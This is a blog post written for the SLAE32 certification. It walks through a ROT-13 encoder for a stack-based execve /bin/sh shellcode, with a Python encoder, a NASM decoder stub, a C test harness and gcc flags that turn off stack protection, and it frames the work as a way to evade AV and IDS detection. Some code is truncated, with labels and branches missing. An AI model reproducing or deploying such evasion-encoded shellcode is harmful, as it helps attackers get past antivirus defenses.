ROT-13 Shellcode encoder - SLAE32 Fourth Exam Assignment

3 minute read


Hello Everyone! This blog post is dedicated to Assignment 4 of the SLAE32 Exam, which is about creating Custom Shellcode encoder.

Assignment 4 - Custom Shellcode encoder

There are 2 main instructions provided to us in this assignment:

  • Create a custom encoding scheme for your shellcode
  • Create a working PoC with the execve-stack shellcode presented and execute.

Creating the execve ROT-13 Encoded shellcode

First of all, as presented in our task, we will use the execve-stack shellcode which is presented below.


Our shellcode is simple stack-based execve SYSCALL that executes /bin/sh

The reason for us to implement encoding scheme on our shellcode is in-order to make it harder for AV’s and IDS to match the new shellcode that we craft by making it obfuscated.

Encoding our shellcode

As for the XOR encoding method, it’s already populated throughout the shellcoding world and most AV’s and IDS’s are well aware of those encoding schemes.

I have decided to choose to encode my shellcode with the ROT-13 technique.

I have created in order to craft the encoded shellcode within the ROT-13 technique

the code is presented below:

#!/usr/bin/env python
# Filename:
# Author: Gal Nagli
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
rot = 13
full = 256 - rot
encodedc = ""
encodednasm = []
for x in bytearray(shellcode):
    if x < full:
        encodedc += '\\x%02x' % (x + rot)
        encodednasm.append('0x%02x' % (x + rot))
        encodedc += '\\x%02x' % (rot - 256 + x)
        encodednasm.append('0x%02x' % (rot - 256 + x))
print "Encoded Representation for C file:\n%s\n" % encodedc
print "Encoded Representation for nasm file:\n%s\n" % ','.join(encodednasm)

Next, i will excecute the python script and i will get as output my encoded execve-stack shellcode with easily crafted representation for our decoder.nasm file and shellcode.c file.



Creating the decoder stub

Now, after crafting the encoded shellcode, i will create my decoder.nasm file.

Which will decode the shellcode and craft the “decoder stub” which will append right before our shellcode.

# Filename: decoder.nasm
# Author: Gal Nagli
global _start
section .text
	jmp short call_shellcode
	pop esi ; pop the address of the shellcode in the ESI register
	xor ecx, ecx ; zeroing out the ECX register
	mov cl, 25 ; counter = 25 (length of the shellcode, number of loops)
	cmp byte [esi], 0xD ; compare if it's possible to substract the value 13 from the byte
	jl max_reached ; jump if less -> full_reached
	sub byte [esi], 0xD ; substract the value 13
	jmp short shellcode
	xor edx, edx ; zeroing out the EDX register
	mov dl, 0xD ; set the value 13 into the EDX register
	sub dl, byte [esi] ; subtract 13 - byte value of the shellcode
	xor ebx, ebx ; zeroing out the EBX register
	mov bl, 0xff ; 0xff = 255 (making it two-staged to not encounter null-byte)
	inc ebx ; = 256
	sub bx, dx ; 256 - (13 - byte value of the shellcode)
	mov byte [esi], bl ; move bl into the ESI register
	inc esi ; move to the next byte
	loop decode ; loop "decode"
	jmp short EncodedShellcode
	call decoder
	EncodedShellcode: db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b,0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d

Now, i will compile the decoder.nasm file and i will recieve our shellcode with the decoderstub beforehand.

./ decoder


Now, i will insert the crafted shellcode into our shellcode.c program, as the following:


unsigned char shellcode[] = \

// Decoder Stub:

// Encoded Shellcode:


	printf("Shellcode Length:  %d\n", strlen(shellcode));

	int (*ret)() = (int(*)())shellcode;



Creating the executeable

gcc shellcode.c -fno-stack-protector -z execstack -o rot13execve


And that’s it! we have a running ROT-13 encoded /bin/sh shellcode.

Uploading our shellcode to virustotal:

Uploading the crafted ROT-13 encoded execve shellcode to VirusTotal returned the following:


Although it was kinda expected because i have used a public known encoding scheme, 17/75 detection ratio is good enough for me at this stage :-) Thank you very much for sticking around!



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

Student ID: SLAE - 1543

All the source code which i have used throughout the assignment is available here:

Cheers, Gal.